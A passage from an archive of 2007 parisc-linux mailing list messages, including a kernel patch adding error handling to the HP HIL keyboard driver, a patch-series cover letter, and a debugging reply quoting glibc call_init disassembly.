	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 05E4D5840B3;
	Sat, 17 Feb 2007 15:55:43 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 5EF13837DB;
	Sat, 17 Feb 2007 15:55:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 998673B06E; Sat, 17 Feb 2007 15:55:25 -0500 (EST)
X-Mailer: git-send-email 1.4.4.4
In-Reply-To: <11717457251848-git-send-email-kyle@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5lzldFFDIyd1r/qQe2drbFNaa2FkZpWr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24343

From: Cyrill V. Gorcunov <gorcunov@gmail.com>

Also some extra spaces are removed.

Signed-off-by: Cyrill V. Gorcunov <gorcunov@gmail.com>
Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 drivers/input/keyboard/hilkbd.c |  106 +++++++++++++++++++++++----------------
 1 files changed, 62 insertions(+), 44 deletions(-)

diff --git a/drivers/input/keyboard/hilkbd.c b/drivers/input/keyboard/hilkbd.c
index 35461ea..c2264a6 100644
--- a/drivers/input/keyboard/hilkbd.c
+++ b/drivers/input/keyboard/hilkbd.c
@@ -6,10 +6,10 @@
  *  Copyright (C) 1999-2006 Helge Deller <deller@gmx.de>
  *
  *  Very basic HP Human Interface Loop (HIL) driver.
- *  This driver handles the keyboard on HP300 (m68k) and on some 
+ *  This driver handles the keyboard on HP300 (m68k) and on some
  *  HP700 (parisc) series machines.
  *
- * 
+ *
  * This file is subject to the terms and conditions of the GNU General Public
  * License version 2.  See the file COPYING in the main directory of this
  * archive for more details.
@@ -64,9 +64,9 @@ MODULE_LICENSE("GPL v2");
 #endif
 
 
- 
+
 /* HIL helper functions */
- 
+
 #define hil_busy()              (hil_readb(HILBASE + HIL_CMD) & HIL_BUSY)
 #define hil_data_available()    (hil_readb(HILBASE + HIL_CMD) & HIL_DATA_RDY)
 #define hil_status()            (hil_readb(HILBASE + HIL_CMD))
@@ -75,7 +75,7 @@ MODULE_LICENSE("GPL v2");
 #define hil_write_data(x)       do { hil_writeb((x), HILBASE + HIL_DATA); } while (0)
 
 /* HIL constants */
- 
+
 #define	HIL_BUSY		0x02
 #define	HIL_DATA_RDY		0x01
 
@@ -89,7 +89,7 @@ MODULE_LICENSE("GPL v2");
 #define	HIL_READKBDSADR	 	0xF9
 #define	HIL_WRITEKBDSADR 	0xE9
 
-static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] = 
+static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] =
 	{ HIL_KEYCODES_SET1 };
 
 /* HIL structure */
@@ -97,11 +97,11 @@ static struct {
 	struct input_dev *dev;
 
 	unsigned int curdev;
-	
+
 	unsigned char s;
 	unsigned char c;
 	int valid;
-	
+
 	unsigned char data[16];
 	unsigned int ptr;
 	spinlock_t lock;
@@ -115,7 +115,7 @@ static void poll_finished(void)
 	int down;
 	int key;
 	unsigned char scode;
-	
+
 	switch (hil_dev.data[0]) {
 	case 0x40:
 		down = (hil_dev.data[1] & 1) == 0;
@@ -127,6 +127,7 @@ static void poll_finished(void)
 	hil_dev.curdev = 0;
 }
 
+
 static inline void handle_status(unsigned char s, unsigned char c)
 {
 	if (c & 0x8) {
@@ -143,6 +144,7 @@ static inline void handle_status(unsigned char s, unsigned char c)
 	}
 }
 
+
 static inline void handle_data(unsigned char s, unsigned char c)
 {
 	if (hil_dev.curdev) {
@@ -152,13 +154,11 @@ static inline void handle_data(unsigned char s, unsigned char c)
 }
 
 
-/* 
- * Handle HIL interrupts.
- */
+/* handle HIL interrupts */
 static irqreturn_t hil_interrupt(int irq, void *handle)
 {
 	unsigned char s, c;
-	
+
 	s = hil_status();
 	c = hil_read_data();
 
@@ -179,10 +179,8 @@ static irqreturn_t hil_interrupt(int irq, void *handle)
 	return IRQ_HANDLED;
 }
 
-/*
- * Send a command to the HIL
- */
 
+/* send a command to the HIL */
 static void hil_do(unsigned char cmd, unsigned char *data, unsigned int len)
 {
 	unsigned long flags;
@@ -200,16 +198,14 @@ static void hil_do(unsigned char cmd, unsigned char *data, unsigned int len)
 }
 
 
-/*
- * Initialise HIL. 
- */
-
+/* initialise HIL */
 static int __init
 hil_keyb_init(void)
 {
 	unsigned char c;
 	unsigned int i, kbid;
 	wait_queue_head_t hil_wait;
+	int err;
 
 	if (hil_dev.dev) {
 		return -ENODEV; /* already initialized */
@@ -219,15 +215,25 @@ hil_keyb_init(void)
 	if (!hil_dev.dev)
 		return -ENOMEM;
 	hil_dev.dev->private = &hil_dev;
-	
+
 #if defined(CONFIG_HP300)
-	if (!hwreg_present((void *)(HILBASE + HIL_DATA)))
-		return -ENODEV;
-	
-	request_region(HILBASE+HIL_DATA, 2, "hil");
+	if (!hwreg_present((void *)(HILBASE + HIL_DATA))) {
+		printk(KERN_ERR "HIL: hardware register was not found\n");
+		err = -ENODEV;
+		goto err1;
+	}
+	if (!request_region(HILBASE + HIL_DATA, 2, "hil")) {
+		printk(KERN_ERR "HIL: IOPORT region already used\n");
+		err = -EIO;
+		goto err1;
+	}
 #endif
-	
-	request_irq(HIL_IRQ, hil_interrupt, 0, "hil", hil_dev.dev_id);
+
+	err = request_irq(HIL_IRQ, hil_interrupt, 0, "hil", hil_dev.dev_id);
+	if (err) {
+		printk(KERN_ERR "HIL: Can't get IRQ\n");
+		goto err2;
+	}
 
 	/* Turn on interrupts */
 	hil_do(HIL_INTON, NULL, 0);
@@ -239,32 +245,32 @@ hil_keyb_init(void)
 	init_waitqueue_head(&hil_wait);
 	wait_event_interruptible_timeout(hil_wait, hil_dev.valid, 3*HZ);
 	if (!hil_dev.valid) {
-		printk(KERN_WARNING "HIL: timed out, assuming no keyboard present.\n");
+		printk(KERN_WARNING "HIL: timed out, assuming no keyboard present\n");
 	}
 
-	c = hil_dev.c; 
+	c = hil_dev.c;
 	hil_dev.valid = 0;
 	if (c == 0) {
 		kbid = -1;
-		printk(KERN_WARNING "HIL: no keyboard present.\n");
+		printk(KERN_WARNING "HIL: no keyboard present\n");
 	} else {
 		kbid = ffz(~c);
-		/* printk(KERN_INFO "HIL: keyboard found at id %d\n", kbid); */
+		printk(KERN_INFO "HIL: keyboard found at id %d\n", kbid);
 	}
 
 	/* set it to raw mode */
 	c = 0;
 	hil_do(HIL_WRITEKBDSADR, &c, 1);
-	
+
 	for (i = 0; i < HIL_KEYCODES_SET1_TBLSIZE; i++)
 		if (hphilkeyb_keycode[i] != KEY_RESERVED)
 			set_bit(hphilkeyb_keycode[i], hil_dev.dev->keybit);
 
-	hil_dev.dev->evbit[0]    = BIT(EV_KEY) | BIT(EV_REP);
-	hil_dev.dev->ledbit[0]   = BIT(LED_NUML) | BIT(LED_CAPSL) | BIT(LED_SCROLLL);
-	hil_dev.dev->keycodemax  = HIL_KEYCODES_SET1_TBLSIZE;
-	hil_dev.dev->keycodesize = sizeof(hphilkeyb_keycode[0]);
-	hil_dev.dev->keycode     = hphilkeyb_keycode;
+	hil_dev.dev->evbit[0]	= BIT(EV_KEY) | BIT(EV_REP);
+	hil_dev.dev->ledbit[0]	= BIT(LED_NUML) | BIT(LED_CAPSL) | BIT(LED_SCROLLL);
+	hil_dev.dev->keycodemax	= HIL_KEYCODES_SET1_TBLSIZE;
+	hil_dev.dev->keycodesize= sizeof(hphilkeyb_keycode[0]);
+	hil_dev.dev->keycode	= hphilkeyb_keycode;
 	hil_dev.dev->name 	= "HIL keyboard";
 	hil_dev.dev->phys 	= "hpkbd/input0";
 
@@ -273,13 +279,29 @@ hil_keyb_init(void)
 	hil_dev.dev->id.product	= 0x0001;
 	hil_dev.dev->id.version	= 0x0010;
 
-	input_register_device(hil_dev.dev);
+	err = input_register_device(hil_dev.dev);
+	if (err) {
+		printk(KERN_ERR "HIL: Can't register device\n");
+		goto err3;
+	}
 	printk(KERN_INFO "input: %s, ID %d at 0x%08lx (irq %d) found and attached\n",
-		hil_dev.dev->name, kbid, HILBASE, HIL_IRQ);
+	       hil_dev.dev->name, kbid, HILBASE, HIL_IRQ);
 
 	return 0;
+
+err3:
+	hil_do(HIL_INTOFF, NULL, 0);
+	disable_irq(HIL_IRQ);
+	free_irq(HIL_IRQ, hil_dev.dev_id);
+err2:
+	release_region(HILBASE + HIL_DATA, 2);
+err1:
+	input_free_device(hil_dev.dev);
+	hil_dev.dev = NULL;
+	return err;
 }
 
+
 #if defined(CONFIG_PARISC)
 static int __init
 hil_init_chip(struct parisc_device *dev)
@@ -292,7 +314,7 @@ hil_init_chip(struct parisc_device *dev)
 	hil_base = dev->hpa.start;
 	hil_irq  = dev->irq;
 	hil_dev.dev_id = dev;
-	
+
 	printk(KERN_INFO "Found HIL bus at 0x%08lx, IRQ %d\n", hil_base, hil_irq);
 
 	return hil_keyb_init();
@@ -313,9 +335,6 @@ static struct parisc_driver hil_driver = {
 #endif /* CONFIG_PARISC */
 
 
-
-
-
 static int __init hil_init(void)
 {
 #if defined(CONFIG_PARISC)
@@ -349,4 +368,3 @@ static void __exit hil_exit(void)
 
 module_init(hil_init);
 module_exit(hil_exit);

From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PARISC] input: queued patches from parisc-linux
Date: Sat, 17 Feb 2007 15:55:21 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <11717457251848-git-send-email-kyle__40310.5937330567$1416624295$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624295 22806 80.91.229.3 (22 Nov 2014 02:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:55 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:56:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 17 Feb 2007 21:56:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C2957DA82;
	Sat, 17 Feb 2007 13:56:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21410-08; Sat, 17 Feb 2007 13:56:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1EA77DA83;
	Sat, 17 Feb 2007 13:55:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C09F7DA70
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:55:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21161-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:55:46 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id EE6A27DA72
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:55:45 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 89E275840B6;
	Sat, 17 Feb 2007 15:55:45 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4D41B5840B7;
	Sat, 17 Feb 2007 15:55:43 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8E0FB837DD;
	Sat, 17 Feb 2007 15:55:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 751633B070; Sat, 17 Feb 2007 15:55:25 -0500 (EST)
X-Mailer: git-send-email 1.4.4.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 01zkcSQZf2I/p4icY2xoRh9wdWxlcxZb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24344


Hi Dmitry,

The following are some patches committed to the input subsystem
>from parisc-linux.

Apologies if this turns out badly, this is my first time using
git-send-email...

 keyboard/hil_kbd.c |    8 +--
 keyboard/hilkbd.c  |  113 +++++++++++++++++++++++++++++++----------------------
 serio/hil_mlc.c    |   19 ++++----
 serio/hp_sdc.c     |   16 +++----
 serio/hp_sdc_mlc.c |    3 -
 5 files changed, 90 insertions(+), 69 deletions(-)

Cyrill V. Gorcunov (1):
      [PARISC] add error-checking in hil_keyb_init

Helge Deller (3):
      [PARISC] fix uninitialized spinlock in HIL keyboard driver
      [PARISC] hp_sdc: fix request_irq()/free_irq() parameters
      [PARISC] input: various cleanups

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sat, 17 Feb 2007 16:50:15 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200702172150.l1HLoFtW025612__11722.3810092129$1416624295$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702171334w77152427s24c8317a21953518@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624295 22814 80.91.229.3 (22 Nov 2014 02:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 21:50:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 17 Feb 2007 22:50:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 184AD7DAB1;
	Sat, 17 Feb 2007 14:50:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22297-03; Sat, 17 Feb 2007 14:50:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05777DAB2;
	Sat, 17 Feb 2007 14:50:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 607B97DAAF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:50:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22081-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:50:16 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9FD057DA63
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:50:16 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1HLoF7n025613;
	Sat, 17 Feb 2007 16:50:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1HLoFtW025612;
	Sat, 17 Feb 2007 16:50:15 -0500 (EST)
In-Reply-To: <119aab440702171334w77152427s24c8317a21953518@mail.gmail.com>
	from "Carlos O'Donell" at Feb 17, 2007 04:34:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kErldtkwPTRts+jGPjIwBGoxc2tpZMv3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24345

> Both cases work correctly. So what happened in the original post?

There's two checks in call_init for the plabel bit:

0x400d77a4 <call_init+168>:     ldw 678(r1),ret0
0x400d77a8 <call_init+172>:     ldw 0(ret0),r20
0x400d77ac <call_init+176>:     bb,<,n r20,1e,0x400d7884 <call_init+392>
0x400d77b0 <call_init+180>:     cmpib,=,n 0,r21,0x400d77ec <call_init+240>
0x400d77b4 <call_init+184>:     ldw 4(r21),r20
0x400d77b8 <call_init+188>:     ldw 0(r3),ret0
0x400d77bc <call_init+192>:     add,l ret0,r20,r22
0x400d77c0 <call_init+196>:     bb,>=,n r22,1e,0x400d7854 <call_init+344>
0x400d77c4 <call_init+200>:     copy r19,r4
0x400d77c8 <call_init+204>:     fstw fr14,-10(sp)
0x400d77cc <call_init+208>:     ldw -10(sp),r26
0x400d77d0 <call_init+212>:     fstw fr13,-10(sp)
0x400d77d4 <call_init+216>:     ldw -10(sp),r25
0x400d77d8 <call_init+220>:     fstw fr12,-10(sp)
0x400d77dc <call_init+224>:     ldw -10(sp),r24
0x400d77e0 <call_init+228>:     b,l 0x400dedd4 <$$dyncall>,r31
0x400d77e4 <call_init+232>:     copy r31,rp
0x400d77e8 <call_init+236>:     copy r4,r19

It's the latter one that didn't have the plabel bit.  Didn't check
the first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PARISC] fix uninitialized spinlock in HIL
	keyboard driver
Date: Sat, 17 Feb 2007 23:21:36 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <200702172321.37036.deller__4006.82865079052$1416624295$gmane$org@gmx.de>
References: <11717457251848-git-send-email-kyle@parisc-linux.org>
	<11717457251606-git-send-email-kyle@parisc-linux.org>
	<11717457253477-git-send-email-kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624295 22815 80.91.229.3 (22 Nov 2014 02:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:55 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>,
 Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 22:21:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 17 Feb 2007 23:21:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92E6C7DAE2;
	Sat, 17 Feb 2007 15:21:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23044-07; Sat, 17 Feb 2007 15:21:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 482937DADD;
	Sat, 17 Feb 2007 15:21:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AACF17DADB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:21:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23044-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:21:41 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 9A4487DAAE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:21:40 -0700 (MST)
Original-Received: (qmail invoked by alias); 17 Feb 2007 22:21:39 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <11717457253477-git-send-email-kyle@parisc-linux.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yUrlfVZYPjltterBOTU28VUzMTE2NQkw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24346

Hi Dimitry,

please see below...

On Saturday 17 February 2007, Kyle McMartin wrote:
> From: Helge Deller <deller@gmx.de>
> 
> - remove some warnings for PARISC part of the driver
> - annotate hphilkeyb_keycode[] array as __read_mostly
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
> ---
>  drivers/input/keyboard/hilkbd.c |    9 ++++++---
>  1 files changed, 6 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/input/keyboard/hilkbd.c b/drivers/input/keyboard/hilkbd.c
> index c2264a6..585f0a7 100644
> --- a/drivers/input/keyboard/hilkbd.c
> +++ b/drivers/input/keyboard/hilkbd.c
> @@ -3,7 +3,7 @@
>   *
>   *  Copyright (C) 1998 Philip Blundell <philb@gnu.org>
>   *  Copyright (C) 1999 Matthew Wilcox <willy@bofh.ai>
> - *  Copyright (C) 1999-2006 Helge Deller <deller@gmx.de>
> + *  Copyright (C) 1999-2007 Helge Deller <deller@gmx.de>
>   *
>   *  Very basic HP Human Interface Loop (HIL) driver.
>   *  This driver handles the keyboard on HP300 (m68k) and on some
> @@ -89,7 +89,7 @@ MODULE_LICENSE("GPL v2");
>  #define	HIL_READKBDSADR	 	0xF9
>  #define	HIL_WRITEKBDSADR 	0xE9
>  
> -static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] =
> +static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] __read_mostly =
>  	{ HIL_KEYCODES_SET1 };
>  
>  /* HIL structure */
> @@ -211,6 +211,7 @@ hil_keyb_init(void)
>  		return -ENODEV; /* already initialized */
